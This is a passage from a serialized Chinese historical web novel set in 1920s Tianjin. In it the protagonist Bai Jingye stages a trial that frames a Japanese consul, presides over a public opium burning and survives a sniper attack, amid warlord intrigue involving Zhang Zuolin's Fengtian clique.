“修合先生,我以为你是个正人君子,这么阴险的招数,你怎么想出来的?”
“哈哈哈”,白敬业哈哈一笑,“那是因为你不了解我。”
邹榕心服口服的点点头,“我按照您的要求做,您也别忘了答应我的事。”
白敬业伸出个小拇指笑道,“咱们拉钩!”
就在白敬业策划怎么对付吉田茂的同时。
一个胡同里,黄立、宫二还有陈识三人,截住了马三的去路。
宫家的几名弟子封住了胡同两侧的去路。
外
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人也看不见里边发生了什么。
马三被两个随从架着,苦苦哀求道,“师妹,师父都放过我了,你真要对师兄下死手么?”
“我爹不忍心下死手,放你几年出来又要兴风作浪。”
宫二摇了摇头,“我不是我爹,师兄您有多厉害,我比谁都清楚,今天小妹亲手送你上路。”
“黄师叔,借刀一用。”
黄立抽出那把忠义刀。
“嗡!”
宝刀出鞘带出一股子龙吟之声。
宫二接刀缓步迈向马三。
架着马三的两个侍卫见状,抽出腰间的**向宫二冲去。
陈识和黄立一左一右截住两人,三两下就取了他们的性命。
“不...不!”
马三跌坐在地眼神中尽是恐惧,“师妹!你定亲了,你不是宫家人,你没资格杀我!”
宫二抬手举刀,“师兄,杀你不是为了清理门户,而是因为你投了岛国人。”
“我是为了夫君杀你!”
“上路吧师兄,来世记得回头。”
宫二手起刀落,丝毫没有拖泥带水。
马三的人头飞起多高,血从腔子里喷洒出来。
叛国者,死!
“来人,找一口好棺材装殓起来,挑个吉日,送我师兄回老家。”
“是”
宫府的弟子领命后,开始收拾残局。
等宫二回了宫府,管家老姜正在门前等候。
“二姑娘,老爷在等你呢,让你回来就去找他。”
宫二迈步走向正房。
宫宝森正端着茶杯不知道在想些什么。
“爹,您找我?”
宫宝森点点头,将茶杯放到一旁,声音中带着一丝悲伤,“他送走了?”
“是,女儿亲手送走的。”
“唉”
宫宝森叹了口气,眼神有些黯淡,缓了好半天,他才从桌上抽出一封信。
“你去按照地址,到电报局发一封电报,要加急的。”
宫二抽出信一看,只有寥寥几个字。
“冬天的衣服穿久有些脏,开春该换了。”
白敬业听完黄立的描述,吓得缩了缩脖子。
心道,“以后还是收敛点吧,这要是和潘秀珠看电影的事让她知道了,不得剁了我!”
当晚他硬是没敢回宫府,在少帅府凑合了一晚。
第106章 前奏
等回了宫府,白敬业按耐不住问道。
“岳父,刚才那些人…”
宫宝森摆了摆手打断他的话,脸上露出了神秘的笑容。
“我都知道他们心里想些什么。”
他意味深长的说道,“武行要清洗,而且还要洗的彻底,这件事你不能干。”
“对他们来说你是个外人,你要做了将来还怎么在一起共事。”
“这件事我来做吧。”
白敬业有些好奇,“岳父,那您打算怎么办?”
宫宝森看了他一眼,笑道,“昨天你审过邹榕了?她没向你说点什么?”
“说了,她说我还不清楚中华武士会的恐怖,还说想了解就亲自问您,她也不太清楚。”
“哈哈”
宫宝森哈哈一笑,“该跟你说的时候自然会说,你就等着接手一个干干净净的武行吧。”
说着他看向宫二,“这也算我给女儿添的嫁妆。”
宫二俏脸一红,“爹您说什么呢。”
白敬业在张罗着武行的事。
吉田茂这边也没闲着,他和北平的老段可是老相识了。
老段在民国六年,皖系初次执政的时候资金短缺。
著名的西原借款其中吉田茂就出了很大的力。
而且他一直主张岛国来扶持老段,两人的私交还算不错。
“总长,吉田领事打来电话,希望您能来帮个忙。”
老段听秘书说完一皱眉,“他说什么事了么?”
“津门那边抓了个火因贩子,他说是他的朋友,希望您能帮忙把人捞出来。”
老段好悬没气笑了,揶揄道,“什么样的火因贩子找我这来了?”
“我这是执政府还是**警察厅!”
“额,我查了一下是北平这边和津门联合办的案,这个人好像对吉田领事很重要。”
老段沉吟片刻,问道,“人现在在哪呢?”
“白景泗厅长说关押在津门,但是吉田领事又说不在津门。”
“具体里面好像还涉及到了张少帅”
老段一听这几个人的名,脑袋都大了!
他现在最怕听到姓白的和姓张的连在一起。
“你啊,让他该找谁找谁去,就说不知道,里面不是有张六子的事么,让他找正主去!”
“是,总长”
等秘书出去后,老段突然感到心里一阵阵的发慌。
他嘟囔了一句,“妈的,这里边不能又跟白修合有什么关系吧?”
按理说吉田茂和老段关系这么密切,他不应该上心办么?
这就得说说民国最大的两个**犯了。
张老疙瘩要是能排第一,老段绝对能排第二。
钱我借,事办不办?
去他奶奶个孙子的!
办不到的我全答应!
能办的全往外推。
北洋军阀执政不怎么样,但骨头是硬的。
从抗战开始,有哪个大帅降过鬼子?
吉田茂这边收到了信儿,气的破口大骂!
“八嘎!这些该死的华夏人一点都不讲情义!”
“嘭!”
他拿起桌上的文件夹摔在秘书的脚下。
秘书低头道,“先生,我们现在应该怎么办?”
吉田茂平复了下心情,缓声道,“联系满铁那边吧,让他们去找东北王,一定要把邹馆长救出来。”
“嗨!”
等满铁那边了解了经过,派菊池武夫去找张老疙瘩的时候已经是下午了。
东北王这辈子有个爱好,就喜欢玩各种锁具。
菊池武夫来的时候,他正在那鼓捣那些锁头。
俄国的、美国的、德国的…哪的都有。
“司令,您知道津门那边发生的事么?”
张老疙瘩拿着钥匙的手一顿,眼神十分清澈,“津门?出啥事了?”
菊池武夫将事情讲述了一遍。
当然,电报能发的东西有限。
吉田茂只说了邹榕对掌控津门十分重要。
他推断邹榕目前在张六子手里。
张老疙瘩挠了挠头,“一个火因贩子至于这么大张旗鼓的么?还找到老子这来了?”
“抱歉司令,这个人对吉田领事很重要,他们之间有一点…”
“嘿嘿嘿!”
张老疙瘩笑的很猥琐,“咋滴!吉田跟那娘们睡啦?”
菊池武夫一笑,“还请司令您帮忙!”
“好说!不就**一个火因贩子么?”
张老疙瘩答应的很痛快,“你等我了解了解事情的经过。”
“要是真在六子手
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里,随便找个借口就给她放了!”
“谢谢司令”
张老疙瘩一摆手,“这都是小事,正好快到饭点了,你留下来陪我整两口儿?”
“好的,谢谢司令款待”
“那个谁!”,张老疙瘩向外招呼一声。
门口的卫兵进来敬了个军礼。
“你去,领着菊池顾问到客厅,我换身衣服就过去。”
卫兵领着他下去后。
副官喜顺带着睡衣走了进来,帮着张老疙瘩换着。
“你一会儿给小六子发报,告诉他菊池来找我了,让他们那边的事尽快办。”
“而且还要办的漂亮点。”
“是,帅爷!”
要说这吉田茂也是倒霉。
你知道找人疏通。
人家亲儿子不知道跟亲爹汇报?
张老疙瘩是什么人?
一听有望全盘掌控津门,拉拢住了中华武士会。
眼珠子都红了。
明确的告诉过张六子,津门的事他们办。
岛国人他来挡。
少帅府内餐桌上
白敬业、张六子和冯庸,一人弄了一碗意大利面在那狂炫。
徐承业拿着电报走了过来,“少帅,帅爷的电报。”
张六子接过后冷笑了一声,“呵,这吉田茂还真托满铁的人找我家去了。”
“我爹让我们这边尽快办。”
白敬业这碗面里面酱料放的有点多,都糊嘴了。
他端起橙汁喝了一口,打趣道,“吉田茂这老小子也不容易,一找人就找了两大**犯。”
“哎哎哎”
张六子有些不乐意的说道,“你爹才**犯呢!”
“呵呵”,白敬业呵呵一笑,“你要这么说,我也不跟你犟。”
“我爹当年就是靠一泡屎,**了两千两银子,收了沿河二十八家作坊。”
“哈哈哈”
三人开怀大笑。
……
深夜,佛山火车站,一行十余人衣着各不相同。
身上都背着大大小小的包袱。
为首的面容极为诡异。
好像一只来自地狱的恶鬼。
他在众人的簇拥下登上了火车。
八方云集、齐汇津门
这场聚焦在津门的争斗渐渐拉开了帷幕。
第107章 公审
三天后
津门直隶高等审判庭的大门前挤满了人。
这些人是来旁听公审的。
都是白敬业发动关系找来的。
各大报社的主编、北大、燕大等学校的知名教授。
各所高等院校的学生代表,连南开的伯灵先生也带着学生应邀而来。
民国时期的司法系统非常碎片化。
尤其津门这个地方,有十几家**。
九国租界各有各的领事法庭。
名义上政府不干涉司法,实际上谁换衣服就听谁的。
就像白敬业说过的最终解释权在他这。
直隶现在归李剑仙管理,**的人自然从上到下都听他的。
白敬业说这案子怎么判就怎么判!
他此时正跟来的这些熟人闲聊着。
北大和燕大的学生代表是李唯一和赵岗。
他俩可是白敬业的狂热粉,听到召唤立马就买车票到了津门。
赵岗的身边还带着一个十四岁的少年,他跟白敬业介绍道。
“学长,这是我的弟弟赵刚。”
他推了一下赵刚,“叫学长”
“修合学长您好”,赵刚毕恭毕敬的给白敬业鞠了一躬。
白敬业打量了一番,一看就是还没成年的男孩。
身上带着一股子书卷气,但非常的有朝气。
“今年多大了?”
“十五岁,民国元年生人。”
白敬业点点头,夸赞道,“不错,有股子朝气,成绩怎么样?”
赵岗替他弟弟答了一句,“挺好的,估计过几年考上燕大或者北大不成问题。”
“那我就期待着咱们的小学弟跟我做校友喽”
白敬业说着把腕子上的手表摘下来,套在了赵刚的腕子上。
赵岗连忙阻拦,“学长这…这太贵重了。”
“一块表而已,算不得什么。”
他摸摸赵刚的头,语重心长的说道,“希望你能珍惜每一分的时光,好好学习,将来为国家的复兴做一份贡献。”
“谢谢学长!”
这块表也成了赵刚一生中最为珍惜的物品。
以至于他后来参军,他的某个老搭档几次想借,都没能如愿以偿。
时间来到九点整,审判庭的大门悄然打开。
众人三三两两结伴而入。
白敬业猫在最后一排,看向前边的一道身影,嘴角露出了冷笑。
前边第二排坐着的人正是吉田茂。
他心道,“老小子,今天就让你知道知道。什么叫黄泥落在裤裆里,不是粑粑也是屎!”
“嘭!”
审判长拿起法槌敲响,高声道,“下面由我宣讲开庭纪律,全体起立。”
所有人都站了起来,审判长巴啦巴啦讲了一堆的庭前纪律。
最后说道,“北平特**土**与津门特**土**,并案处理!”
“开庭!带嫌疑犯钱大头、邹榕。”
以现在的眼光看,这套流程根本就不合规。
在法庭上都是叫被告,但谁让民国时期是个巨大的草台班子呢。
审判长都是从军队里调来的。
像这种案子能进行公开审理,已经是进步了。
钱大头和邹榕被几个荷枪实弹的卫兵夹了上来,按到了被告席。
“嘭!”
木槌敲响,审判长拿起钱大头的口供,“嫌疑犯钱大头,关于你在走私烟土一案中所交代的犯罪事实……”
审判长复述了一遍他的犯罪经过,最后问道,“对以上口供是否有异议?”
钱大头看了一眼邹榕摇了摇头,“没有。”
审判长又看向邹榕,“嫌疑犯邹榕,钱大头指出他的货源都是从你那里进的,你是否承认。”
邹榕点了点头,“承认”
“请你详细交代,你所走私的烟土来源!”
邹榕站起身来向后看了看,眼神落在吉田茂的身上。
吉田茂顿时觉得心头一凉。
邹榕指向吉田茂,“韩家武馆所有的烟土都是岛国驻津门的吉田领事牵线,帮忙引进的。”
“八嘎!”
“她这是诬陷!她是被人威逼利诱了!赤裸裸的诬陷!”
吉田茂脸色憋的通红,丝毫没有领事的形象,对着邹榕破口大骂!“你是在侮辱一个国家的领事!”
“我要跟你们的政府控诉!”
其他来旁听的人也都在纷纷议论。
“这能是真的么?”
“我看八成是真的,小龟子都没好心眼。”
“嘭
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嘭嘭!肃静!”
审判官手中的木槌敲得直响,他冲着吉田茂严肃的说道。
“请旁听人员保持安静!不要干扰审判流程,不然我会叫人请你出去。”
“哼!”
吉田茂哼了一声,整理好了衣服,但眼神恶狠狠地盯着邹榕。
“嫌犯邹榕,请你实事求是,吉田领事贵为一国的领事,没有证据不要污蔑。”
“呜呜呜…”
邹榕眼泪吧嗒吧嗒掉了下来,哭的梨花带雨。
徐娘半老的样子惹人怜惜。
“审判大人,我说的都是真的…呜呜呜…”
“我丈夫去世以后,我独自支撑着韩家武馆,吉田茂的姨太太和我打小就认识。”
“有一次,他们请我到他家里吃饭,给我灌醉后就侵犯了我,呜呜呜…”
“八嘎!”吉田茂大声吼叫!
“肃静!”
审判官冲卫兵一使眼色。
两名卫兵走到吉田茂的面前,面无表情道,“请不要咆哮法庭!不然我们会礼貌的请你出去!”
“你们…哼!”
吉田茂无奈的坐了下来。
周围的人都用一种异样的眼光看着他。
“嫌犯邹榕,你要对你说的话负责!你说的是吉田茂领事酒后侵犯了你?”
“呜呜呜…”
邹榕哭着点了点头,“就是这样的法官大人,这个禽兽酒后侵犯了我!”
“有好多次还在我夫君的遗像前…呜呜呜,他说我要不配合他的计划,他就找到政府解散我的武馆…”
“呜…他…他还要掌控整个津门,把津门变成岛国的私人领地…”
邹榕添油加醋把吉田茂描述成了一个阴谋家。
在场的不少学生恨得咬牙切齿。
“畜生!畜生!”
“你们霸占了东北不少的地盘,还要把主意打到津门上!”
“严惩吉田茂!”
一个南开的学生站起来振臂高呼。
“不…不!她说的都是假的!”
吉田茂冷汗都下来了。
民国现在确实是势弱,但他清楚这件事处理不好就会变成外交**。
他口不择言的说道,“她这是诬陷!杀了这个**!你这个该死的**!”
第108章 津门销烟(1)
“她是在侮辱大岛帝国的官员!”
“处死她!马上处死她!”
吉田茂气急败坏,完全失去了冷静。
“嘭嘭嘭!”
“由于吉田领事一再咆哮法庭,请他出去!”
两名卫兵十分友好客气的架着吉田茂出了法庭。
“嫌犯邹榕,你要对你说的话负责。”
邹榕急忙点头,“法官大人我说的都是真的。”
审判长点点头,把邹榕的口供重复了一遍。
又跟邹榕确认了一遍后,开始签供画押。
“嘭!”
“由于此案涉及到严重的外交问题,法庭需要仔细斟酌!”
“下次开庭时间另行通知!”
“休庭!”
审判长宣布休庭,有不少人都叹了口气。
众人三三两两的往外走,表情各不相同。
但大多数对这件案子充满了失望。
“唉,估计又是个无头案。”
“是啊,政府敢得罪岛国么?而且还是个岛国的公使。”
“什么时候我们的自**才能掌握在自己手里,让那些超国民的权益彻底废除。”
白敬业也招呼着北大、燕大来的师生,还有南开的师生。
他在津门八大成中的聚乐成包了几桌,专门宴请这些人。
津门的八大成因李鸿章款待各国公使而闻名。
各家都有各家的特色。
擅长整治满汉全席、燕窝鱼翅等高档席面。
今天白敬业定了三桌燕翅席。
豫才先生看着这桌子的菜品,大笑道,“修合,你也太破费了。”
“嗨!钱留着有什么用?花就完了。”
“允许那帮子贪官污吏挥霍,还不兴咱们吃点好的?”
“哈哈哈”,豫才先生抚掌大笑,“修合真有乃父之风!”
北平城谁不知道白七爷花钱如流水一般。
众人边吃边聊,席间就谈到了今天的案情。
仲揆先生问道,“修合你觉得这次政府能怎么判?”
白敬业呵呵一笑,“我看呐,弄不好就是个不予追究,最后把这俩嫌疑犯推出去顶罪就完了。”
“唉”
仲揆先生叹了口气,显然跟白敬业想的差不多。
“这个吉田茂我也听说过,他和段执政的交情匪浅,恐怕又是一场无头公案。”
他的话语还算委婉,豫才先生可就不饶人了。
“就算没有段执政这一层,他们还敢动外国人?哼,一帮子酒囊饭袋。我看呐,咱们还是该吃吃、该喝喝。”
说着他端起绍兴黄干了一杯。
正在这时,小胡匆匆忙忙的跑了进来,在白敬业耳边耳语了几句。
白敬业的脸色从笑脸瞬间就垮了下来,变得异常的难看。
“这还有没有王法!”
他大喊了一声,把筷子在桌子上使劲一拍。
众人皆是不解。
“怎么了?”
白敬业闭上双眼,低沉道,“刚才,邹榕和钱大头被**了。”
“什么!被**了?怎么这么快!”
“是啊,这还没有宣判结果就**了,拿司法当儿戏!”
“哼!肯定是那个吉田领事发力了,怕引火烧身。”
众人听白敬业说完都大惊失色。
没想到前脚宣布的择日开庭,后脚两个嫌疑犯就给**了。
李唯一‘蹭’的站了起来,高声道,“肯定是那个岛国人干的!这种事不是一次两次了。”
“他们是严重干涉我国的司法系统,我们不能眼睁睁看着。”
“要去政府讨个说法!”
“对,咱们去津门市政府找潘市长讨个说法。”
一众学生们站起身就要往外走。
“都等等”
白敬业大喊一声叫住众人,其他老师也都把学生们往回拽。
这时候的学生,大部分家里是非富即贵。
家里困难的也有但只是少数。
所以养成的性格也是天不怕地不怕的,加上读了些进步的思想,遇见事就想闹一闹。
白敬业双手往下一压,“大家都稍安勿躁,听我一言。”
“白某这次邀请大家来,一是因为北平发生的烟土案和津门并案处理,我来帮北平的警厅站个场。”
“二是因为,明日津门要进行销烟活动,邀请我来进行主持。”
“既然事情发生了
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,白某就不能看着不管。”
“明天!在海河边我要亲自问一问这件事究竟是为什么!”
“要让我们的国人都看一看,这些外国人是怎么干涉我国司法的!”
学生们一听白敬业要亲自出头,都鼓起了掌。
“**!”
“听修合学长的!明天我们要讨个公道!”
白敬业端起杯酒看向众人,“咱们一起干这一杯,有什么事明天再说,今晚我来安排住的地方。”
“大家晚上都好好休息,有什么事由我白敬业担着!”
他这边安抚众人。
吉田茂在办公室里可抓耳挠腮了。
他被赶出审判庭之后也冷静下来,越想这件事越不对。
他想不通邹榕咬自己是为了什么,就算她要了自己,政府还真敢抓他?
“领事,邹榕和那个姓钱的被**了!”
秘书一脸得意的向吉田茂汇报。
吉田茂一愣,“枪…**了?什么时候的事?”
“就在刚刚”,秘书小脖梗梗着,目空一切的说道,“看来这些华夏人还是惧怕我们大岛帝国不敢深究。”
“啪!”
吉田茂拿起桌上的文件砸在秘书的头上。
“你在得意什么!你这个蠢猪!”
“嗨!”,秘书忙低下头认错。
“他们为什么要这个时候**!就是想把脏水全泼在我的身上!”
“八嘎!”,吉田茂喘着粗气,“这些华夏人一定会认为我们在中间干涉,这会引起整个津门,不!乃至全国的反岛情绪!”
“这是一场严重的外交事故!”
吉田茂终于明白过味儿来,沮丧的说道,“这件事里一定有一只幕后黑手在操控。”
他这么一说,秘书也明白过来了,“领事,那我们应该怎么办?”
吉田揉着太阳穴挥了挥手,让他先下去。
他有种预感这件事还没结束,甚至自己这个津门领事可能要做到头了。
吉田茂拿起笔写了一封求援信,信里把姿态放的很低。
他准备求援满铁,现在唯一有能力帮他把事情压下去的,可能只剩下那个东北王!
第109章 津门销烟(2)
聚乐成的宴席结束。
白敬业喝的是酩酊大醉,几个学生给他送上了车。
留下小胡给众人安排酒店房间。
靠在车后排的白敬业嘴角勾起一抹弧度。
安排在这个时候**邹榕,自然是他设计好的。
为什么?
他要把雷埋在每个人的心里。
现在这些人都像一捆捆的干柴,只要一个火星就能引起冲天大火。
而白敬业要做那个引火人!
他们所有看到的,都是白敬业想让他们看到的。
白大善人的心那可是五彩斑斓的黑。
他准备用这次的事件,将自己的声望推向一个顶峰!
第二天,海河边上搭起了台子。
河边还挖了两个大型的深坑。
旁边都是已经准备好了的,成袋的石灰。
津门的百姓一听说今天销烟,早早就聚在海河边等着。
北平的百姓爱看热闹,津门的更胜一筹。
而且津门百姓说话还幽默,台底下像开了相声大会似的。
“二哥,你嗦介是弄嘛呢!还挖了两个大坑,介尼玛是要埋银呢,还是销烟啊。”
二哥白了他一眼,“你啊,真是个棒槌!懂嘛?没听过前清林大人销烟,就是用的海水和石灰。”
“哦~”
年轻人点了点头,伸出大拇指夸赞道,“还得是二哥懂的多,我尼玛以为销烟是尼玛一把火烧了呢!”
“你个傻贝儿贝儿,要尼玛一把火,介整个津门城不全尼玛吸嗨了!”
时间快到上午十点,津门警局的车来了。
从车上下来一队队黑皮,搬着查抄的烟土箱子,摆到深坑的旁边。
白敬业今天的装束可不一样,平时不是中山装就是西装。
今天他穿了一身月白缎的长袍。
将身上这股文人之气,展现得沉稳而庄重。
白敬业迈步走上台前,手里拿着一个铁皮大喇叭,对台下的众人喊道。
“各位老少爷们,大家上午好啊!这台下有认识我的,也有不认识的,我给大家伙做个自我介绍。”
“我是从北平来的,大名白敬业、笔名白修合,今天受津门警厅的邀请来主持这个销烟仪式。”
台下北平来的这些学生记者都响起热烈的掌声。
津门也有不少听过白敬业大名的,也跟着鼓掌。
但有个群体喊的声音最响。
“帮主!帮主!”
白敬业顺着声音看过去,好嘛,一群花子。
他纳闷的笑了笑,“这帮主是什么意思啊?”
一个花子头笑着喊道,“您了不是写射雕的嘛,介里面有个丐帮,咱们虽说不认字,但也听说书先生讲过!”
“百年来没人拿咱们叫花子当人看。”
“只有白先生夸我们,我们呐,就认你当我们花子行里的荣誉帮主!”
“哈哈哈”,众人一阵大笑。
白敬业也笑的前仰后合,他冲着花子头一拱手,“感谢诸位抬爱,各位好汉认白某,那我就愧领了。”
“小的们,咱们见过帮主”
花子头一喊,大大小小的花子都给白敬业鞠躬行礼。
“哎哎,各位好汉请起,容白某先办正事,过后咱们在好好聊聊。”
白敬业说完清了清嗓子,“诸位,白某今天主持销烟仪式,主要有两件事,咱们先来说说为什么要销烟。”
“**这个东西可真不是个好东西,男人吸了丧失意志,女人吸了家庭破碎,国外的人为什么称呼我们东亚病夫。”
“就是因为国人沉迷于这个邪物!”
白敬业说着语气低沉了下来,“白某不才以前也沾染过这个东西。”
“弄得人不人、鬼不鬼,多亏家里及时的规劝这才改邪归正。”
白景泗在后边听的欣慰的点了点头。
“在此,我奉劝大伙儿一句,有吸这个玩意的马上戒喽,时间一长这人也就不是人了!”
“往大了说有一日,这些列强再次犯我华夏、窥我天庭,我们拿什么抵抗!难道要拿这一杆杆的烟枪么!”
“所以我也效仿昔日的林公,来他一个津门销烟!”
“下面我宣布销烟活动开始!”
“好!”
台下的人都跟着鼓掌叫好,“支持修合先生!”
“帮主说得好!”
坑边的黑皮们得到命令,把箱子
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里的黑疙瘩都扔进坑里。
倒上石灰混合着海河水。
“咕嘟嘟”
石灰遇水沸腾,将这些黑疙瘩全部销毁。
等着黑皮们收拾完这些黑疙瘩,白敬业再次拿起铁喇叭。
“接下来白某要说第二件事!”
“大伙儿早上都看报了么?知道韩家武馆的馆主邹榕被**的事么?”
台下的几个玩儿闹叫嚷着。
“看啦!报上说邹榕和龟子叫吉田的有一腿!”
“这吉田挺不是个东西,听说邹馆主就是他弄死的。”
邹榕被**一事,今天一早在津门传的就沸沸扬扬。
这里边当然是白大善人这些人的功劳。
发动了各种小报儿,一顿渲染,将事情描述成吉田茂气急败坏,逼迫政府枪决邹榕。
有几家报社还把邹榕和吉田茂卿卿我我的照片给登了出来。
“各位安静,昨天庭审的时候我也在场。”
“岛国领事吉田茂在被驱赶前,我亲耳听到,他说让政府杀了邹榕。”
“审判还没结束,事情没查清楚,就着急忙慌的**了邹榕。”
白敬业说到这,声音变得慷慨激昂,“华夏人犯了罪,岛国人却给她判了刑,我想问问大伙儿有这个道理么!”
“没有!没有!”
“就是的!华夏人的事凭什么让岛国人来掺和!”
白敬业双手下压,示意众人安静,“在我个人来看,我相信邹榕的证词,为什么呢?”
“因为我相信一个女人不会拿自己的贞洁来开玩笑!”
“同时她也是津门武行的代表,我相信她身为武人的操守!”
他用手指着深坑里的**,“吉田茂逼迫邹馆主用这些东西来害人,事情败露了,他还想掩盖事实**灭口。”
“津门的老少爷们!咱们能答应么!”
“不能!不能答应!”
“**小龟子,咱们得给邹馆主讨个公道!”
白敬业高举喇叭,众人都跟着呐喊。
此时,不远处的房顶,一个身穿黑色大衣的年轻人。
身体呈跪姿,手持一把**瞄准了白敬业。
“砰!”
第111章 贷款
三、四两个队的队长互看了一眼。
表情显得有些为难。
三队长讪讪一笑,“厅长,咱们三四两个队加起来才二三十人,**的人太多,是不是再给我们派些人手?”
“哼!”
常怀英冷哼一声,手指向窗外,“现在津门都乱成一锅粥了!我哪还有多余的人手。”
“而且你们二位对日租界熟悉,就你们了!”
他看着两人的眼睛命令道,“有一条纪律你们给我记住,对待学生和百姓,要做到打不还手、骂不还口!”
“要是让我知道你们敢殴打群众,我扒了你们的皮!”
这两个队长的脸色更难看了。
从没领过这样的命令,民国哪有对**群众这么宽容的?
这就是让哥俩去送死!
四队长咬了咬牙,问道,“厅长,要是我们的兄弟受伤了也不能还手?”
“不能!”
常怀英的态度很坚决,“受伤的警厅包赔医药费,牺牲的,你们打报告我批条子。”
“我给他发阵亡抚恤金!”
两人见没有回转的余地,叹了口气,带人走了出去。
常怀英为什么要整他俩?
这哥俩在警厅属于本地刀枪炮一类的。
日租界在当时非常宽松,龟子为了毒害国人。
在租界内开设了大量的烟馆、妓院。
对于想做非法生意的一律放绿灯。
而这二人就是拿了龟子好处,充当日租界非法生意的保护伞。
常怀英刚接任厅长没多久,自然要铲除异己换成自己的人。
正好拿他们两人开刀。
他们哪知道这一趟是有去无回!
东北,大帅府
菊池武夫又一次狗头丧脑的来找张老疙瘩。
满铁的人接到吉田茂的求援信,既愤怒又幸灾乐祸。
愤怒的是吉田茂这个蠢货竟然把事情搞得一团糟,破坏了大岛帝国的图谋。
幸灾乐祸当然是因为同行是冤家。
岛国内部的争权夺利的事也不少,如今吉田茂吃了瘪,他们自然会向天蝗好好参一本。
最好给他拿下来换成满铁的人。
但是吉田茂求援,并且事情进一步恶化,他们不能眼看着不管。
“总司令,您接到津门的消息了么?”
“接到了。”
张老疙瘩翻着眼睛看了菊池一眼,神色有些不耐烦。
菊池武夫见他的心情不好,心中一凉忙问道,“司令,您的心情不好?”
“哼!”
张老疙瘩撇了撇嘴,拿起桌上的电报拍在菊池的面前。
“我说你们那个吉田茂干的是啥事!”
“既然你们来找我,我就帮他走个过场解决这件事,为啥还跑别的关系给人犯**了!”
“这**不是让我老张坐蜡么!”
“他妈了巴子的!外人还得以为是我老张帮着他吉田茂**的自己人!”
菊池拿起桌上的电文一看,是张六子昨天发来的。
上边写的很清楚,庭审已结束,不知吉田领事通过什么关系草率的**了嫌疑犯。他以无力帮助吉田领事继续解决此事。
菊池连忙解释,“总司令!这…这中间有误会,嫌疑犯不是吉田要求**的。”
“咦~”
张老疙瘩指着菊池,咋舌道,“啧啧,你们咋还敢做不敢当呢。”
“我的人主持的庭审,我还不知道?**,吉田茂在法庭当场就喊出来!让**了这个**!”
“我说菊池,你每年从我这拿了不少顾问费!你这屁股是不是太歪了!”
“你真拿我老张当作不识数!”
菊池武夫连忙低头,“总司令您息怒。”
同时他也在心里大骂吉田茂。
因为吉田茂在求援信里可没写咆哮法庭这件事。
菊池的心里开始画魂了?这俩人真是吉田茂找关系杀的?
他硬着头皮继续说道,“总司令,这件事咱们还是先放一放。”
“现在津门不少的百姓冲击领事馆,还是以吉田领事的安全…”
“去**安全!”
老张怒骂了一句,“他吉田茂这时候知道找老子了!”
“**,他安排**打老子的人,那时候他想什么呢!”
“什…什么**?他…”
菊池哑口无言一脸的懵逼。
张老疙瘩又拍出一封电文,“妈
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了巴子的!今天帮忙主持销烟仪式的,是他妈老子的人!”
“吉田茂想干什么!拿枪狙杀!”
“是不是下次老子说他两句,他就要拿着**顶老子的头上!”
菊池武夫的冷汗都下来了,他怎么也想不到被枪击的是东北军的人。
吉田茂最新的求援电报,就说挨枪击的是一名知名学者。
“司令,请您…息怒,这中间一定有误会!”
“又他妈是误会!”
张老疙瘩拿起桌上的文件扔了一地,“左一个误会!右一个误会!”
“前段时间也他妈是这个吉田茂,弄了一帮子浪人冲击六子的卫队。”
“今天**直接枪击我的人!”
“你们是不是对我老张有意见!下回是不是该给我安**送我上天了!”
菊池听着他的咆哮,连大气都不敢喘。
他的心里已经将吉田茂的祖宗十八代都骂了一遍。
但事毕竟还得办,他等张老疙瘩发泄一通。
眼珠转转这才开口,“司令,咱们先不谈这件事,我这次来还有个好消息。”
张老疙瘩端起茶杯喝了一口,瞥了他一眼,“什么好消息啊?”
“贵军不是准备扩建三个大队的空军么?”
“您之前提过的无息贷款,我们本部已经同意,估计再有些日子钱就能到账!”
这事可是菊池急中生智想出来的,岛国本部对这笔贷款模棱两可,有分歧的意见。
但这时候也顾不得那么多了,他不能让东北军和岛国出现裂痕。
不然之前做的一切全都前功尽弃。
只能过后自己去说服本部。
张老疙瘩一听贷款要到,脸上也从打雷下雨变成多云了。
“嗯,说说吧,你想让我怎么帮那个吉田茂。”
“我们希望张公子的卫队营能进入津门帮忙维持秩序,一定要确保吉田领事的安全。”
张老疙瘩斟酌半晌,皱着眉头说道,“卫队进津门倒是简单,可你们那个九国公约不允许部队进入。”
“老子的部队咋进?”
————
作者不是全职,昨天加班赶出不来稿子先欠一章。
第112章 进驻津门(1)
菊池武夫见张老疙瘩松口了,脸上也多了几分笑意。
“司令你放心,其他国家领事我们来沟通,您只要保证吉田领事的安全,帮忙平息津门的事就可以。”
张老疙瘩点了点头,“这倒是小事。”
他指着菊池,“不过你们得拿出个交代,不然光凭老子手下人的嘴,是平息不了津门百姓怒火的。”
“我们一定拿出可行的方案,绝对不会让总司令您难堪的。”
菊池武夫弯腰鞠躬把姿态放的很低。
张老疙瘩摆了摆手,“行啦,你去吧,我再跟小六子商量商量。”
“谢谢总司令!”
张老疙瘩等菊池走了以后喊了一声。
“喜顺!”
喜顺从里间屋走了出来,“帅爷。”
“去给小六子发报,让他酌情处理津门事宜,给我撒了欢的闹!”
“另外问问咱们的外事联络官,白敬业的伤势怎么样,告诉他好好干,干好了老子给他提军衔!”
“是!帅爷!”
少帅府
白大善人靠在床头,胳膊被夹板和三角巾牢牢固定在胸前。
宫二手里端着果盘,一口一口喂他吃着水果。
她脸上写着担忧,埋怨道,“不是说好没危险的吗,怎么还弄骨折了?”
“嘿嘿嘿”
白敬业嘿嘿一笑,“本来定好的,手上喇叭不握的那么紧。可是一激动就给忘了,听见**我才想起来。”
“就是点小伤,再说了大丈夫难免磕磕碰碰,我这也是为了反帝国主义光荣奉献!”
他正说着呢,张六子推门走了进来。
徐承业还端着个托盘,里面是一碗鸡汤。
他抻了把椅子坐到床边,“胳膊都他妈让人干折了,还在那贫呢?”
白敬业翻了个白眼,“我说好大哥您这就不讲良心了。”
“我的胳膊为谁折的啊,还不是为了咱们奉系能顺利掌控津门?”
“我为东北军流过血!”
张六子看着他义正言辞的样子,一时间哑口无言。
话虽然有道理,但是怎么这味儿都感觉不对呢?
他挠了挠头也不纠结这件事,指着桌上的鸡汤。
“这是瑞玉特意给你熬的趁热喝吧。”
“呦!小嫂子的汤我得尝尝咸淡!”
宫二拿着小碗盛出来,喂到他的嘴边。
张六子趁他喝着,拿出来东北王的电报。
“吉田茂果然向满铁求援了,他想让我们的部队进来帮忙维持秩序。”
“呵!”
白敬业冷笑一声,“他想让咱们的部队进就进?惯他的毛病!”
“进来可以,但是有一条进来就不能出去!”
张六子眼前一亮,“你是说让部队长期在津门内驻扎?”
白敬业点点头,“漕帮为什么能在津门做的这么大?”
“还不是因为没有军队的威慑,哪怕咱们只能驻扎一个营,再加上武馆的那一部分力量。”
